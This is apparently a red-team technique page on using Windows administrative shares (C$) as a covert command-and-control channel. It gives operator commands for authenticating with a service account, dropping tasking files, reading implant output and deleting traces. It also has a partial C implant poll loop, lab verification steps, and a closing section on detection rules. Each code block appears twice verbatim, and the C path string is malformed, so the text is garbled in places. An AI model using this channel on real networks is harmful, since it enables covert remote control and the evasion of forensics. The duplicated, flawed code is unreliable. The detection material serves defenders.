SMB / Windows Admin Share C2

Overview

Windows hosts expose administrative shares - C$, ADMIN$, IPC$ and others - by default. They are the local-admin backdoor: any account with administrative rights on the machine can open them over SMB and read or write files as if it were sitting at the box. That same property makes them a command and control channel. An implant that can authenticate to a share on a reachable host does not need an open network port, a DNS name, or an outbound HTTP path; it needs a file it can poll and a file it can write to. Tasking goes in one file, output comes back in another, and the SMB audit log is the only trace.

This is a low-bandwidth, in-LAN channel. It is the right choice when the target segment allows SMB but filters the protocols a normal beacon would use, or when the implant needs to stage larger payloads without standing up a listener. It is the wrong choice when the implant has a clean outbound path and the analyst is already watching SMB; the file operations leave a very specific audit signature that is easy to correlate into a beacon.

The call chain

1. 1
   Authenticate to the admin share

   The implant uses NTLM or Kerberos to open C$, ADMIN$ or a custom share on a reachable host.
   mpr
2. 2
   Write tasking to a file

   The operator places a command file in the share; the implant polls it with CreateFileW and ReadFile.
   kernel32
3. 3
   Execute and write output

   The implant runs the task and writes the result to a second file in the same share.
   kernel32
4. 4
   Clean up the task files

   Delete or truncate the task and output files to reduce the forensic residue on the share.
   kernel32

Reference implementation

The operator side is a share write and a share read. The implant side is a poll loop that checks for a task file, runs it, and writes the result back. The whole channel is file I/O over an authenticated SMB session.

# operator: connect to the admin share on the staging host
$ net use \\10.10.10.20\C$ /user:CORP\svc-backup
The command completed successfully.

# operator: drop a tasking file
$ echo whoami > C:\Temp\.u\task.txt
$ copy C:\Temp\.u\task.txt \\10.10.10.20\C$\Windows\Temp\.u\task.txt

# operator: read the output the implant wrote back
$ type \\10.10.10.20\C$\Windows\Temp\.u\out.txt
corp\jsmith

# operator: clean up so the next poll starts from a blank state
$ del \\10.10.10.20\C$\Windows\Temp\.u\task.txt
$ del \\10.10.10.20\C$\Windows\Temp\.u\out.txt

# operator: connect to the admin share on the staging host
$ net use \\10.10.10.20\C$ /user:CORP\svc-backup
The command completed successfully.

# operator: drop a tasking file
$ echo whoami > C:\Temp\.u\task.txt
$ copy C:\Temp\.u\task.txt \\10.10.10.20\C$\Windows\Temp\.u\task.txt

# operator: read the output the implant wrote back
$ type \\10.10.10.20\C$\Windows\Temp\.u\out.txt
corp\jsmith

# operator: clean up so the next poll starts from a blank state
$ del \\10.10.10.20\C$\Windows\Temp\.u\task.txt
$ del \\10.10.10.20\C$\Windows\Temp\.u\out.txt

The implant side is a tight poll-and-run loop. It needs no network library beyond the SMB client; the channel is the filesystem it already has access to.

// poll the tasking file on the admin share
// open, read, execute, write the result, delete both files
HANDLE h = CreateFileW(
  L"\\10.10.10.20\C$\Windows\Temp\.u\task.txt",
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

DWORD n;
ReadFile(h, buf, sizeof buf, &n, NULL);
CloseHandle(h);

// run buf as a command, capture stdout into out
// write out to \\\<host>\C$\Windows\Temp\.u\out.txt
// delete task.txt and out.txt, sleep, repeat  <-- the beacon

// poll the tasking file on the admin share
// open, read, execute, write the result, delete both files
HANDLE h = CreateFileW(
  L"\\10.10.10.20\C$\Windows\Temp\.u\task.txt",
  GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

DWORD n;
ReadFile(h, buf, sizeof buf, &n, NULL);
CloseHandle(h);

// run buf as a command, capture stdout into out
// write out to \\\<host>\C$\Windows\Temp\.u\out.txt
// delete task.txt and out.txt, sleep, repeat  <-- the beacon

Verifying in the lab

From a workstation with admin rights on a second host, connect to the second host’s C$ share, drop a tasking file, and confirm the implant on that host picks it up, runs it, and writes the result back. The proof is the output file appearing in the share with no other channel open.

# on the staging host, the output file is the artifact
> dir C:\Windows\Temp\.u\out.txt
out.txt   12  Sep 04 09:30  out.txt  <-- the artifact

# on the implant host, the access events are the network artifact
# EID 5145: C$\Windows\Temp\.u\task.txt opened by CORP\svc-backup
# EID 5145: C$\Windows\Temp\.u\out.txt written and read     <-- the artifact

# on the staging host, the output file is the artifact
> dir C:\Windows\Temp\.u\out.txt
out.txt   12  Sep 04 09:30  out.txt  <-- the artifact

# on the implant host, the access events are the network artifact
# EID 5145: C$\Windows\Temp\.u\task.txt opened by CORP\svc-backup
# EID 5145: C$\Windows\Temp\.u\out.txt written and read     <-- the artifact

Detection

The channel is defined by its file operations, so the file audit trail is the detection surface.

Rank them: the EID 5145 rule on the admin shares is the cheapest continuous control and catches both the operator’s write and the implant’s poll. The poll-read-write-delete behavioural rule is the highest-fidelity beacon detection, because it matches the channel’s actual cadence rather than a single file access. The EID 23 share-connection rule is the setup catch and is the one to pair with a host-role baseline of which machines are expected to serve SMB shares.

Variants & related